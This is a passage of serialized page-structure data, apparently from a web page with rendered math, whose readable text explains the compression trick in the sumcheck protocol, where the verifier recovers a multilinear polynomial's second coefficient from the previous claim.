417],[108469],{"type":29,"value":20420},{"type":23,"tag":141,"props":108471,"children":108473},{"className":108472},[2712],[108474],{"type":23,"tag":141,"props":108475,"children":108477},{"className":108476,"style":91615},[2717],[108478],{"type":23,"tag":141,"props":108479,"children":108480},{},[],{"type":29,"value":108482}," somewhere. But since the verifier picks a random ",{"type":23,"tag":38,"props":108484,"children":108486},{"className":108485},[2658,2659],[108487],{"type":23,"tag":141,"props":108488,"children":108490},{"className":108489},[2664],[108491],{"type":23,"tag":141,"props":108492,"children":108494},{"className":108493,"ariaHidden":2670},[2669],[108495],{"type":23,"tag":141,"props":108496,"children":108498},{"className":108497},[2675],[108499,108504],{"type":23,"tag":141,"props":108500,"children":108503},{"className":108501,"style":108502},[2680],"height:0.5806em;vertical-align:-0.15em;",[],{"type":23,"tag":141,"props":108505,"children":108507},{"className":108506},[2686],[108508,108513],{"type":23,"tag":141,"props":108509,"children":108511},{"className":108510,"style":91532},[2686,20260],[108512],{"type":29,"value":92351},{"type":23,"tag":141,"props":108514,"children":108516},{"className":108515},[2702],[108517],{"type":23,"tag":141,"props":108518,"children":108520},{"className":108519},[2707,20314],[108521,108551],{"type":23,"tag":141,"props":108522,"children":108524},{"className":108523},[2712],[108525,108546],{"type":23,"tag":141,"props":108526,"children":108528},{"className":108527,"style":92061},[2717],[108529],{"type":23,"tag":141,"props":108530,"children":108532},{"style":108531},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[108533,108537],{"type":23,"tag":141,"props":108534,"children":108536},{"className":108535,"style":2727},[2726],[],{"type":23,"tag":141,"props":108538,"children":108540},{"className":108539},[2732,2733,2734,2735],[108541],{"type":23,"tag":141,"props":108542,"children":108544},{"className":108543},[2686,20260,2735],[108545],{"type":29,"value":2404},{"type":23,"tag":141,"props":108547,"children":108549},{"className":108548},[20417],[108550],{"type":29,"value":20420},{"type":23,"tag":141,"props":108552,"children":108554},{"className":108553},[2712],[108555],{"type":23,"tag":141,"props":108556,"children":108558},{"className":108557,"style":91615},[2717],[108559],{"type":23,"tag":141,"props":108560,"children":108561},{},[],{"type":29,"value":108563},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":23,"tag":17563,"props":108565,"children":108567},{"id":108566},"the-compression-trick",[108568],{"type":29,"value":108569},"The Compression Trick",{"type":23,"tag":32,"props":108571,"children":108572},{},[108573,108575,108725,108727,109007],{"type":29,"value":108574},"For degree-1 (multilinear) polynomials, ",{"type":23,"tag":38,"props":108576,"children":108578},{"className":108577},[2658,2659],[108579],{"type":23,"tag":141,"props":108580,"children":108582},{"className":108581},[2664],[108583],{"type":23,"tag":141,"props":108584,"children":108586},{"className":108585,"ariaHidden":2670},[2669],[108587,108680,108707],{"type":23,"tag":141,"props":108588,"children":108590},{"className":108589},[2675],[108591,108595,108652,108657,108662,108667,108671,108676],{"type":23,"tag":141,"props":108592,"children":108594},{"className":108593,"style":2787},[2680],[],{"type":23,"tag":141,"props":108596,"children":108598},{"className":108597},[2686],[108599,108604],{"type":23,"tag":141,"props":108600,"children":108602},{"className":108601,"style":92018},[2686,20260],[108603],{"type":29,"value":107783},{"type":23,"tag":141,"props":108605,"children":108607},{"className":108606},[2702],[108608],{"type":23,"tag":141,"props":108609,"children":108611},{"className":108610},[2707,20314],[108612,108641],{"type":23,"tag":141,"props":108613,"children":108615},{"className":108614},[2712],[108616,108636],{"type":23,"tag":141,"props":108617,"children":108619},{"className":108618,"style":92061},[2717],[108620],{"type":23,"tag":141,"props":108621,"children":108622},{"style":92065},[108623,108627],{"type":23,"tag":141,"props":108624,"children":108626},{"className":108625,"style":2727},[2726],[],{"type":23,"tag":141,"props":108628,"children":108630},{"className":108629},[2732,2733,2734,2735],[108631],{"type":23,"tag":141,"props":108632,"children":108634},{"className":108633},[2686,20260,2735],[108635],{"type":29,"value":2404},{"type":23,"tag":141,"props":108637,"children":108639},{"className":108638},[20417],[108640],{"type":29,"value":20420},{"type":23,"tag":141,"props":108642,"children":108644},{"className":108643},[2712],[108645],{"type":23,"tag":141,"props":108646,"children":108648},{"className":108647,"style":91615},[2717],[108649],{"type":23,"tag":141,"props":108650,"children":108651},{},[],{"type":23,"tag":141,"props":108653,"children":108655},{"className":108654},[20389],[108656],{"type":29,"value":192},{"type":23,"tag":141,"props":108658,"children":108660},{"className":108659,"style":93552},[2686,20260],[108661],{"type":29,"value":4807},{"type":23,"tag":141,"props":108663,"children":108665},{"className":108664},[20411],[108666],{"type":29,"value":1788},{"type":23,"tag":141,"props":108668,"children":108670},{"className":108669,"style":2863},[2766],[],{"type":23,"tag":141,"props":108672,"children":108674},{"className":108673},[2868],[108675],{"type":29,"value":1377},{"type":23,"tag":141,"props":108677,"children":108679},{"className":108678,"style":2863},[2766],[],{"type":23,"tag":141,"props":108681,"children":108683},{"className":108682},[2675],[108684,108689,108694,108698,108703],{"type":23,"tag":141,"props":108685,"children":108688},{"className":108686,"style":108687},[2680],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":23,"tag":141,"props":108690,"children":108692},{"className":108691},[2686,20260],[108693],{"type":29,"value":55},{"type":23,"tag":141,"props":108695,"children":108697},{"className":108696,"style":2767},[2766],[],{"type":23,"tag":141,"props":108699,"children":108701},{"className":108700},[2772],[108702],{"type":29,"value":3058},{"type":23,"tag":141,"props":108704,"children":108706},{"className":108705,"style":2767},[2766],[],{"type":23,"tag":141,"props":108708,"children":108710},{"className":108709},[2675],[108711,108715,108720],{"type":23,"tag":141,"props":108712,"children":108714},{"className":108713,"style":91447},[2680],[],{"type":23,"tag":141,"props":108716,"children":108718},{"className":108717},[2686,20260],[108719],{"type":29,"value":1883},{"type":23,"tag":141,"props":108721,"children":108723},{"className":108722,"style":93552},[2686,20260],[108724],{"type":29,"value":4807},{"type":29,"value":108726}," has only two coefficients. Since the verifier knows ",{"type":23,"tag":38,"props":108728,"children":108730},{"className":108729},[2658,2659],[108731],{"type":23,"tag":141,"props":108732,"children":108734},{"className":108733},[2664],[108735],{"type":23,"tag":141,"props":108736,"children":108738},{"className":108737,"ariaHidden":2670},[2669],[108739,108832,108925],{"type":23,"tag":141,"props":108740,"children":108742},{"className":108741},[2675],[108743,108747,108804,108809,108814,108819,108823,108828],{"type":23,"tag":141,"props":108744,"children":108746},{"className":108745,"style":2787},[2680],[],{"type":23,"tag":141,"props":108748,"children":108750},{"className":108749},[2686],[108751,108756],{"type":23,"tag":141,"props":108752,"children":108754},{"className":108753,"style":92018},[2686,20260],[108755],{"type":29,"value":107783},{"type":23,"tag":141,"props":108757,"children":108759},{"className":108758},[2702],[108760],{"type":23,"tag":141,"props":108761,"children":108763},{"className":108762},[2707,20314],[108764,108793],{"type":23,"tag":141,"props":108765,"children":108767},{"className":108766},[2712],[108768,108788],{"type":23,"tag":141,"props":108769,"children":108771},{"className":108770,"style":92061},[2717],[108772],{"type":23,"tag":141,"props":108773,"children":108774},{"style":92065},[108775,108779],{"type":23,"tag":141,"props":108776,"children":108778},{"className":108777,"style":2727},[2726],[],{"type":23,"tag":141,"props":108780,"children":108782},{"className":108781},[2732,2733,2734,2735],[108783],{"type":23,"tag":141,"props":108784,"children":108786},{"className":108785},[2686,20260,2735],[108787],{"type":29,"value":2404},{"type":23,"tag":141,"props":108789,"children":108791},{"className":108790},[20417],[108792],{"type":29,"value":20420},{"type":23,"tag":141,"props":108794,"children":108796},{"className":108795},[2712],[108797],{"type":23,"tag":141,"props":108798,"children":108800},{"className":108799,"style":91615},[2717],[108801],{"type":23,"tag":141,"props":108802,"children":108803},{},[],{"type":23,"tag":141,"props":108805,"children":108807},{"className":108806},[20389],[108808],{"type":29,"value":192},{"type":23,"tag":141,"props":108810,"children":108812},{"className":108811},[2686],[108813],{"type":29,"value":2698},{"type":23,"tag":141,"props":108815,"children":108817},{"className":108816},[20411],[108818],{"type":29,"value":1788},{"type":23,"tag":141,"props":108820,"children":108822},{"className":108821,"style":2767},[2766],[],{"type":23,"tag":141,"props":108824,"children":108826},{"className":108825},[2772],[108827],{"type":29,"value":3058},{"type":23,"tag":141,"props":108829,"children":108831},{"className":108830,"style":2767},[2766],[],{"type":23,"tag":141,"props":108833,"children":108835},{"className":108834},[2675],[108836,108840,108897,108902,108907,108912,108916,108921],{"type":23,"tag":141,"props":108837,"children":108839},{"className":108838,"style":2787},[2680],[],{"type":23,"tag":141,"props":108841,"children":108843},{"className":108842},[2686],[108844,108849],{"type":23,"tag":141,"props":108845,"children":108847},{"className":108846,"style":92018},[2686,20260],[108848],{"type":29,"value":107783},{"type":23,"tag":141,"props":108850,"children":108852},{"className":108851},[2702],[108853],{"type":23,"tag":141,"props":108854,"children":108856},{"className":108855},[2707,20314],[108857,108886],{"type":23,"tag":141,"props":108858,"children":108860},{"className":108859},[2712],[108861,108881],{"type":23,"tag":141,"props":108862,"children":108864},{"className":108863,"style":92061},[2717],[108865],{"type":23,"tag":141,"props":108866,"children":108867},{"style":92065},[108868,108872],{"type":23,"tag":141,"props":108869,"children":108871},{"className":108870,"style":2727},[2726],[],{"type":23,"tag":141,"props":108873,"children":108875},{"className":108874},[2732,2733,2734,2735],[108876],{"type":23,"tag":141,"props":108877,"children":108879},{"className":108878},[2686,20260,2735],[108880],{"type":29,"value":2404},{"type":23,"tag":141,"props":108882,"children":108884},{"className":108883},[20417],[108885],{"type":29,"value":20420},{"type":23,"tag":141,"props":108887,"children":108889},{"className":108888},[2712],[108890],{"type":23,"tag":141,"props":108891,"children":108893},{"className":108892,"style":91615},[2717],[108894],{"type":23,"tag":141,"props":108895,"children":108896},{},[],{"type":23,"tag":141,"props":108898,"children":108900},{"className":108899},[20389],[108901],{"type":29,"value":192},{"type":23,"tag":141,"props":108903,"children":108905},{"className":108904},[2686],[108906],{"type":29,"value":687},{"type":23,"tag":141,"props":108908,"children":108910},{"className":108909},[20411],[108911],{"type":29,"value":1788},{"type":23,"tag":141,"props":108913,"children":108915},{"className":108914,"style":2863},[2766],[],{"type":23,"tag":141,"props":108917,"children":108919},{"className":108918},[2868],[108920],{"type":29,"value":1377},{"type":23,"tag":141,"props":108922,"children":108924},{"className":108923,"style":2863},[2766],[],{"type":23,"tag":141,"props":108926,"children":108928},{"className":108927},[2675],[108929,108934],{"type":23,"tag":141,"props":108930,"children":108933},{"className":108931,"style":108932},[2680],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":23,"tag":141,"props":108935,"children":108937},{"className":108936},[2686],[108938,108943],{"type":23,"tag":141,"props":108939,"children":108941},{"className":108940,"style":91766},[2686,20260],[108942],{"type":29,"value":91769},{"type":23,"tag":141,"props":108944,"children":108946},{"className":108945},[2702],[108947],{"type":23,"tag":141,"props":108948,"children":108950},{"className":108949},[2707,20314],[108951,108995],{"type":23,"tag":141,"props":108952,"children":108954},{"className":108953},[2712],[108955,108990],{"type":23,"tag":141,"props":108956,"children":108958},{"className":108957,"style":92061},[2717],[108959],{"type":23,"tag":141,"props":108960,"children":108962},{"style":108961},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[108963,108967],{"type":23,"tag":141,"props":108964,"children":108966},{"className":108965,"style":2727},[2726],[],{"type":23,"tag":141,"props":108968,"children":108970},{"className":108969},[2732,2733,2734,2735],[108971],{"type":23,"tag":141,"props":108972,"children":108974},{"className":108973},[2686,2735],[108975,108980,108985],{"type":23,"tag":141,"props":108976,"children":108978},{"className":108977},[2686,20260,2735],[108979],{"type":29,"value":2404},{"type":23,"tag":141,"props":108981,"children":108983},{"className":108982},[2772,2735],[108984],{"type":29,"value":2746},{"type":23,"tag":141,"props":108986,"children":108988},{"className":108987},[2686,2735],[108989],{"type":29,"value":687},{"type":23,"tag":141,"props":108991,"children":108993},{"className":108992},[20417],[108994],{"type":29,"value":20420},{"type":23,"tag":141,"props":108996,"children":108998},{"className":108997},[2712],[108999],{"type":23,"tag":141,"props":109000,"children":109003},{"className":109001,"style":109002},[2717],"height:0.2083em;",[109004],{"type":23,"tag":141,"props":109005,"children":109006},{},[],{"type":29,"value":109008}," (the previous claim), we have:",{"type":23,"tag":32,"props":109010,"children":109011},{},[109012],{"type":23,"tag":38,"props":109013,"children":109015},{"className":109014},[2658,2659],[109016],{"type":23,"tag":141,"props":109017,"children":109019},{"className":109018},[2664],[109020],{"type":23,"tag":141,"props":109021,"children":109023},{"className":109022,"ariaHidden":2670},[2669],[109024,109050,109081,109112,109213,109239,109331],{"type":23,"tag":141,"props":109025,"children":109027},{"className":109026},[2675],[109028,109032,109037,109041,109046],{"type":23,"tag":141,"props":109029,"children":109031},{"className":109030,"style":108687},[2680],[],{"type":23,"tag":141,"props":109033,"children":109035},{"className":109034},[2686,20260],[109036],{"type":29,"value":55},{"type":23,"tag":141,"props":109038,"children":109040},{"className":109039,"style":2767},[2766],[],{"type":23,"tag":141,"props":109042,"children":109044},{"className":109043},[2772],[109045],{"type":29,"value":3058},{"type":23,"tag":141,"props":109047,"children":109049},{"className":109048,"style":2767},[2766],[],{"type":23,"tag":141,"props":109051,"children":109053},{"className":109052},[2675],[109054,109058,109063,109068,109072,109077],{"type":23,"tag":141,"props":109055,"children":109057},{"className":109056,"style":2787},[2680],[],{"type":23,"tag":141,"props":109059,"children":109061},{"className":109060},[20389],[109062],{"type":29,"value":192},{"type":23,"tag":141,"props":109064,"children":109066},{"className":109065},[2686,20260],[109067],{"type":29,"value":55},{"type":23,"tag":141,"props":109069,"children":109071},{"className":109070,"style":2767},[2766],[],{"type":23,"tag":141,"props":109073,"children":109075},{"className":109074},[2772],[109076],{"type":29,"value":3058},{"type":23,"tag":141,"props":109078,"children":109080},{"className":109079,"style":2767},[2766],[],{"type":23,"tag":141,"props":109082,"children":109084},{"className":109083},[2675],[109085,109089,109094,109099,109103,109108],{"type":23,"tag":141,"props":109086,"children":109088},{"className":109087,"style":2787},[2680],[],{"type":23,"tag":141,"props":109090,"children":109092},{"className":109091},[2686,20260],[109093],{"type":29,"value":1883},{"type":23,"tag":141,"props":109095,"children":109097},{"className":109096},[20411],[109098],{"type":29,"value":1788},{"type":23,"tag":141,"props":109100,"children":109102},{"className":109101,"style":2863},[2766],[],{"type":23,"tag":141,"props":109104,"children":109106},{"className":109105},[2868],[109107],{"type":29,"value":1377},{"type":23,"tag":141,"props":109109,"children":109111},{"className":109110,"style":2863},[2766],[],{"type":23,"tag":141,"props":109113,"children":109115},{"className":109114},[2675],[109116,109120,109191,109195,109199,109205,109209],{"type":23,"tag":141,"props":109117,"children":109119},{"className":109118,"style":108932},[2680],[],{"type":23,"tag":141,"props":109121,"children":109123},{"className":109122},[2686],[109124,109129],{"type":23,"tag":141,"props":109125,"children":109127},{"className":109126,"style":91766},[2686,20260],[109128],{"type":29,"value":91769},{"type":23,"tag":141,"props":109130,"children":109132},{"className":109131},[2702],[109133],{"type":23,"tag":141,"props":109134,"children":109136},{"className":109135},[2707,20314],[109137,109180],{"type":23,"tag":141,"props":109138,"children":109140},{"className":109139},[2712],[109141,109175],{"type":23,"tag":141,"props":109142,"children":109144},{"className":109143,"style":92061},[2717],[109145],{"type":23,"tag":141,"props":109146,"children":109147},{"style":108961},[109148,109152],{"type":23,"tag":141,"props":109149,"children":109151},{"className":109150,"style":2727},[2726],[],{"type":23,"tag":141,"props":109153,"children":109155},{"className":109154},[2732,2733,2734,2735],[109156],{"type":23,"tag":141,"props":109157,"children":109159},{"className":109158},[2686,2735],[109160,109165,109170],{"type":23,"tag":141,"props":109161,"children":109163},{"className":109162},[2686,20260,2735],[109164],{"type":29,"value":2404},{"type":23,"tag":141,"props":109166,"children":109168},{"className":109167},[2772,2735],[109169],{"type":29,"value":2746},{"type":23,"tag":141,"props":109171,"children":109173},{"className":109172},[2686,2735],[109174],{"type":29,"value":687},{"type":23,"tag":141,"props":109176,"children":109178},{"className":109177},[20417],[109179],{"type":29,"value":20420},{"type":23,"tag":141,"props":109181,"children":109183},{"className":109182},[2712],[109184],{"type":23,"tag":141,"props":109185,"children":109187},{"className":109186,"style":109002},[2717],[109188],{"type":23,"tag":141,"props":109189,"children":109190},{},[],{"type":23,"tag":141,"props":109192,"children":109194},{"className":109193,"style":2863},[2766],[],{"type":23,"tag":141,"props":109196,"children":109198},{"className":109197,"style":2863},[2766],[],{"type":23,"tag":141,"props":109200,"children":109202},{"className":109201},[2868],[109203],{"type":29,"value":109204},"⟹",{"type":23,"tag":141,"props":109206,"children":109208},{"className":109207,"style":2863},[2766],[],{"type":23,"tag":141,"props":109210,"children":109212},{"className":109211,"style":2863},[2766],[],{"type":23,"tag":141,"props":109214,"children":109216},{"className":109215},[2675],[109217,109221,109226,109230,109235],{"type":23,"tag":141,"props":109218,"children":109220},{"className":109219,"style":91447},[2680],[],{"type":23,"tag":141,"props":109222,"children":109224},{"className":109223},[2686,20260],[109225],{"type":29,"value":1883},{"type":23,"tag":141,"props":109227,"children":109229},{"className":109228,"style":2863},[2766],[],{"type":23,"tag":141,"props":109231,"children":109233},{"className":109232},[2868],[109234],{"type":29,"value":1377},{"type":23,"tag":141,"props":109236,"children":109238},{"className":109237,"style":2863},[2766],[],{"type":23,"tag":141,"props":109240,"children":109242},{"className":109241},[2675],[109243,109247,109318,109322,109327],{"type":23,"tag":141,"props":109244,"children":109246},{"className":109245,"style":108932},[2680],[],{"type":23,"tag":141,"props":109248,"children":109250},{"className":109249},[2686],[109251,109256],{"type":23,"tag":141,"props":109252,"children":109254},{"className":109253,"style":91766},[2686,20260],[109255],{"type":29,"value":91769},{"type":23,"tag":141,"props":109257,"children":109259},{"className":109258},[2702],[109260],{"type":23,"tag":141,"props":109261,"children":109263},{"className":109262},[2707,20314],[109264,109307],{"type":23,"tag":141,"props":109265,"children":109267},{"className":109266},[2712],[109268,109302],{"type":23,"tag":141,"props":109269,"children":109271},{"className":109270,"style":92061},[2717],[109272],{"type":23,"tag":141,"props":109273,"children":109274},{"style":108961},[109275,109279],{"type":23,"tag":141,"props":109276,"children":109278},{"className":109277,"style":2727},[2726],[],{"type":23,"tag":141,"props":109280,"children":109282},{"className":109281},[2732,2733,2734,2735],[109283],{"type":23,"tag":141,"props":109284,"children":109286},{"className":109285},[2686,2735],[109287,109292,109297],{"type":23,"tag":141,"props":109288,"children":109290},{"className":109289},[2686,20260,2735],[109291],{"type":29,"value":2404},{"type":23,"tag":141,"props":109293,"children":109295},{"className":109294},[2772,2735],[109296],{"type":29,"value":2746},{"type":23,"tag":141,"props":109298,"children":109300},{"className":109299},[2686,2735],[109301],{"type":29,"value":687},{"type":23,"tag":141,"props":109303,"children":109305},{"className":109304},[20417],[109306],{"type":29,"value":20420},{"type":23,"tag":141,"props":109308,"children":109310},{"className":109309},[2712],[109311],{"type":23,"tag":141,"props":109312,"children":109314},{"className":109313,"style":109002},[2717],[109315],{"type":23,"tag":141,"props":109316,"children":109317},{},[],{"type":23,"tag":141,"props":109319,"children":109321},{"className":109320,"style":2767},[2766],[],{"type":23,"tag":141,"props":109323,"children":109325},{"className":109324},[2772],[109326],{"type":29,"value":2746},{"type":23,"tag":141,"props":109328,"children":109330},{"className":109329,"style":2767},[2766],[],{"type":23,"tag":141,"props":109332,"children":109334},{"className":109333},[2675],[109335,109339,109344],{"type":23,"tag":141,"props":109336,"children":109338},{"className":109337,"style":92563},[2680],[],{"type":23,"tag":141,"props":109340,"children":109342},{"className":109341},[2686],[109343],{"type":29,"value":1049},{"type":23,"tag":141,"props":109345,"children":109347},{"className":109346},[2686,20260],[109348],{"type":29,"value":55},{"type":23,"tag":32,"props":109350,"children":109351},{},[109352,109354,109473,109475,109500],{"type":29,"value":109353},"So the prover only sends ",{"type":23,"tag":38,"props":109355,"children":109357},{"className":109356},[2658,2659],[109358],{"type":23,"tag":141,"props":109359,"children":109361},{"className":109360},[2664],[109362],{"type":23,"tag":141,"props":109363,"children":109365},{"className":109364,"ariaHidden":2670},[2669],[109366,109393],{"type":23,"tag":141,"props":109367,"children":109369},{"className":109368},[2675],[109370,109375,109380,109384,109389],{"type":23,"tag":141,"props":109371,"children":109374},{"className":109372,"style":109373},[2680],"height:0.4306em;",[],{"type":23,"tag":141,"props":109376,"children":109378},{"className":109377},[2686,20260],[109379],{"type":29,"value":55},{"type":23,"tag":141,"props":109381,"children":109383},{"className":109382,"style":2863},[2766],[],{"type":23,"tag":141,"props":109385,"children":109387},{"className":109386},[2868],[109388],{"type":29,"value":1377},{"type":23,"tag":141,"props":109390,"children":109392},{"className":109391,"style":2863},[2766],[],{"type":23,"tag":141,"props":109394,"children":109396},{"className":109395},[2675],[109397,109401,109458,109463,109468],{"type":23,"tag":141,"props":109398,"children":109400},{"className":109399,"style":2787},[2680],[],{"type":23,"tag":141,"props":109402,"children":109404},{"className":109403},[2686],[109405,109410],{"type":23,"tag":141,"props":109406,"children":109408},{"className":109407,"style":92018},[2686,20260],[109409],{"type":29,"value":107783},{"type":23,"tag":141,"props":109411,"children":109413},{"className":109412},[2702],[109414],{"type":23,"tag":141,"props":109415,"children":109417},{"className":109416},[2707,20314],[109418,109447],{"type":23,"tag":141,"props":109419,"children":109421},{"className":109420},[2712],[109422,109442],{"type":23,"tag":141,"props":109423,"children":109425},{"className":109424,"style":92061},[2717],[109426],{"type":23,"tag":141,"props":109427,"children":109428},{"style":92065},[109429,109433],{"type":23,"tag":141,"props":109430,"children":109432},{"className":109431,"style":2727},[2726],[],{"type":23,"tag":141,"props":109434,"children":109436},{"className":109435},[2732,2733,2734,2735],[109437],{"type":23,"tag":141,"props":109438,"children":109440},{"className":109439},[2686,20260,2735],[109441],{"type":29,"value":2404},{"type":23,"tag":141,"props":109443,"children":109445},{"className":109444},[20417],[109446],{"type":29,"value":20420},{"type":23,"tag":141,"props":109448,"children":109450},{"className":109449},[2712],[109451],{"type":23,"tag":141,"props":109452,"children":109454},{"className":109453,"style":91615},[2717],[109455],{"type":23,"tag":141,"props":109456,"children":109457},{},[],{"type":23,"tag":141,"props":109459,"children":109461},{"className":109460},[20389],[109462],{"type":29,"value":192},{"type":23,"tag":141,"props":109464,"children":109466},{"className":109465},[2686],[109467],{"type":29,"value":2698},{"type":23,"tag":141,"props":109469,"children":109471},{"className":109470},[20411],[109472],{"type":29,"value":1788},{"type":29,"value":109474},", and the verifier recovers ",{"type":23,"tag":38,"props":109476,"children":109478},{"className":109477},[2658,2659],[109479],{"type":23,"tag":141,"props":109480,"children":109482},{"className":109481},[2664],[109483],{"type":23,"tag":141,"props":109484,"children":109486},{"className":109485,"ariaHidden":2670},[2669],[109487],{"type":23,"tag":141,"props":109488,"children":109490},{"className":109489},[2675],[109491,109495],{"type":23,"tag":141,"props":109492,"children":109494},{"className":109493,"style":91447},[2680],[],{"type":23,"tag":141,"props":109496,"children":109498},{"className":109497},[2686,20260],[109499],{"type":29,"value":1883},{"type":29,"value":109501},". This saves 50% on communication costs.",{"type":23,"tag":32,"props":109503,"children":109504},{},[109505],{"type":29,"value":109506},"The next claim in the chain is",{"type":23,"tag":32,"props":109508,"children":109509},{},[109510],{"type":23,"tag":38,"props":109511,"children":109513},{"className":109512},[2658,2659],[109514],{"type":23,"tag":141,"props":109515,"children":109517},{"className":109516},[2664],[109518],{"type":23,"tag":141,"props":109519,"children":109521},{"className":109520,"ariaHidden":2670},[2669],[109522,109601,109746,109772,109799,109877,109903,110000,110036,110114,110150,110238,110330],{"type":23,"tag":141,"props":109523,"children":109525},{"className":109524},[2675],[109526,109531,109588,109592,109597],{"type":23,"tag":141,"props":109527,"children":109530},{"className":109528,"style":109529},[2680],"height:0.8333em;vertical-align:-0.15em;",[],{"type":23,"tag":141,"props":109532,"children":109534},{"className":109533},[2686],[109535,109540],{"type":23,"tag":141,"props":109536,"children":109538},{"className":109537,"style":91766},[2686,20260],[109539],{"type":29,"value":91769},{"type":23,"tag":141,"props":109541,"children":109543},{"className":109542},[2702],[109544],{"type":23,"tag":141,"props":109545,"children":109547},{"className":109546},[2707,20314],[109548,109577],{"type":23,"tag":141,"props":109549,"children":109551},{"className":109550},[2712],[109552,109572],{"type":23,"tag":141,"props":109553,"children":109555},{"className":109554,"style":92061},[2717],[109556],{"type":23,"tag":141,"props":109557,"children":109558},{"style":108961},[109559,109563],{"type":23,"tag":141,"props":109560,"children":109562},{"className":109561,"style":2727},[2726],[],{"type":23,"tag":141,"props":109564,"children":109566},{"className":109565},[2732,2733,2734,2735],[109567],{"type":23,"tag":141,"props":109568,"children":109570},{"className":109569},[2686,20260,2735],[109571],{"type":29,"value":2404},{"type":23,"tag":141,"props":109573,"children":109575},{"className":109574},[20417],[109576],{"type":29,"value":20420},{"type":23,"tag":141,"props":109578,"children":109580},{"className":109579},[2712],[109581],{"type":23,"tag":141,"props":109582,"children":109584},{"className":109583,"style":91615},[2717],[109585],{"type":23,"tag":141,"props":109586,"children":109587},{},[],{"type":23,"tag":141,"props":109589,"children":109591},{"className":109590,"style":2863},[2766],[],{"type":23,"tag":141,"props":109593,"children":109595},{"className":109594},[2868],[109596],{"type":29,"value":1377},{"type":23,"tag":141,"props":109598,"children":109600},{"className":109599,"style":2863},[2766],[],{"type":23,"tag":141,"props":109602,"children":109604},{"className":109603},[2675],[109605,109609,109666,109671,109728,109733,109737,109742],{"type":23,"tag":141,"props":109606,"children":109608},{"className":109607,"style":2787},[2680],[],{"type":23,"tag":141,"props":109610,"children":109612},{"className":109611},[2686],[109613,109618],{"type":23,"tag":141,"props":109614,"children":109616},{"className":109615,"style":92018},[2686,20260],[109617],{"type":29,"value":107783},{"type":23,"tag":141,"props":109619,"children":109621},{"className":109620},[2702],[109622],{"type":23,"tag":141,"props":109623,"children":109625},{"className":109624},[2707,20314],[109626,109655],{"type":23,"tag":141,"props":109627,"children":109629},{"className":109628},[2712],[109630,109650],{"type":23,"tag":141,"props":109631,"children":109633},{"className":109632,"style":92061},[2717],[109634],{"type":23,"tag":141,"props":109635,"children":109636},{"style":92065},[109637,109641],{"type":23,"tag":141,"props":109638,"children":109640},{"className":109639,"style":2727},[2726],[],{"type":23,"tag":141,"props":109642,"children":109644},{"className":109643},[2732,2733,2734,2735],[109645],{"type":23,"tag":141,"props":109646,"children":109648},{"className":109647},[2686,20260,2735],[109649],{"type":29,"value":2404},{"type":23,"tag":141,"props":109651,"children":109653},{"className":109652},[20417],[109654],{"type":29,"value":20420},{"type":23,"tag":141,"props":109656,"children":109658},{"className":109657},[2712],[109659],{"type":23,"tag":141,"props":109660,"children":109662},{"className":109661,"style":91615},[2717],[109663],{"type":23,"tag":141,"props":109664,"children":109665},{},[],{"type":23,"tag":141,"props":109667,"children":109669},{"className":109668},[20389],[109670],{"type":29,"value":192},{"type":23,"tag":141,"props":109672,"children":109674},{"className":109673},[2686],[109675,109680],{"type":23,"tag":141,"props":109676,"children":109678},{"className":109677,"style":91532},[2686,20260],[109679],{"type":29,"value":92351},{"type":23,"tag":141,"props":109681,"children":109683},{"className":109682},[2702],[109684],{"type":23,"tag":141,"props":109685,"children":109687},{"className":109686},[2707,20314],[109688,109717],{"type":23,"tag":141,"props":109689,"children":109691},{"className":109690},[2712],[109692,109712],{"type":23,"tag":141,"props":109693,"children":109695},{"className":109694,"style":92061},[2717],[109696],{"type":23,"tag":141,"props":109697,"children":109698},{"style":108531},[109699,109703],{"type":23,"tag":141,"props":109700,"children":109702},{"className":109701,"style":2727},[2726],[],{"type":23,"tag":141,"props":109704,"children":109706},{"className":109705},[2732,2733,2734,2735],[109707],{"type":23,"tag":141,"props":109708,"children":109710},{"className":109709},[2686,20260,2735],[109711],{"type":29,"value":2404},{"type":23,"tag":141,"props":109713,"children":109715},{"className":109714},[20417],[109716],{"type":29,"value":20420},{"type":23,"tag":141,"props":109718,"children":109720},{"className":109719},[2712],[109721],{"type":23,"tag":141,"props":109722,"children":109724},{"className":109723,"style":91615},[2717],[109725],{"type":23,"tag":141,"props":109726,"children":109727},{},[],{"type":23,"tag":141,"props":109729,"children":109731},{"className":109730},[20411],[109732],{"type":29,"value":1788},{"type":23,"tag":141,"props":109734,"children":109736},{"className":109735,"style":2863},[2766],[],{"type":23,"tag":141,"props":109738,"children":109740},{"className":109739},[2868],[109741],{"type":29,"value":1377},{"type":23,"tag":141,"props":109743,"children":109745},{"className":109744,"style":2863},[2766],[],{"type":23,"tag":141,"props":109747,"children":109749},{"className":109748},[2675],[109750,109754,109759,109763,109768],{"type":23,"tag":141,"props":109751,"children":109753},{"className":109752,"style":108687},[2680],[],{"type":23,"tag":141,"props":109755,"children":109757},{"className":109756},[2686,20260],[109758],{"type":29,"value":55},{"type":23,"tag":141,"props":109760,"children":109762},{"className":109761,"style":2767},[2766],[],{"type":23,"tag":141,"props":109764,"children":109766},{"className":109765},[2772],[109767],{"type":29,"value":3058},{"type":23,"tag":141,"props":109769,"children":109771},{"className":109770,"style":2767},[2766],[],{"type":23,"tag":141,"props":109773,"children":109775},{"className":109774},[2675],[109776,109780,109785,109789,109795],{"type":23,"tag":141,"props":109777,"children":109779},{"className":109778,"style":91447},[2680],[],{"type":23,"tag":141,"props":109781,"children":109783},{"className":109782},[2686,20260],[109784],{"type":29,"value":1883},{"type":23,"tag":141,"props":109786,"children":109788},{"className":109787,"style":2767},[2766],[],{"type":23,"tag":141,"props":109790,"children":109792},{"className":109791},[2772],[109793],{"type":29,"value":109794},"⋅",{"type":23,"tag":141,"props":109796,"children":109798},{"className":109797,"style":2767},[2766],[],{"type":23,"tag":141,"props":109800,"children":109802},{"className":109801},[2675],[109803,109807,109864,109868,109873],{"type":23,"tag":141,"props":109804,"children":109806},{"className":109805,"style":108502},[2680],[],{"type":23,"tag":141,"props":109808,"children":109810},{"className":109809},[2686],[109811,109816],{"type":23,"tag":141,"props":109812,"children":109814},{"className":109813,"style":91532},[2686,20260],[109815],{"type":29,"value":92351},{"type":23,"tag":141,"props":109817,"children":109819},{"className":109818},[2702],[109820],{"type":23,"tag":141,"props":109821,"c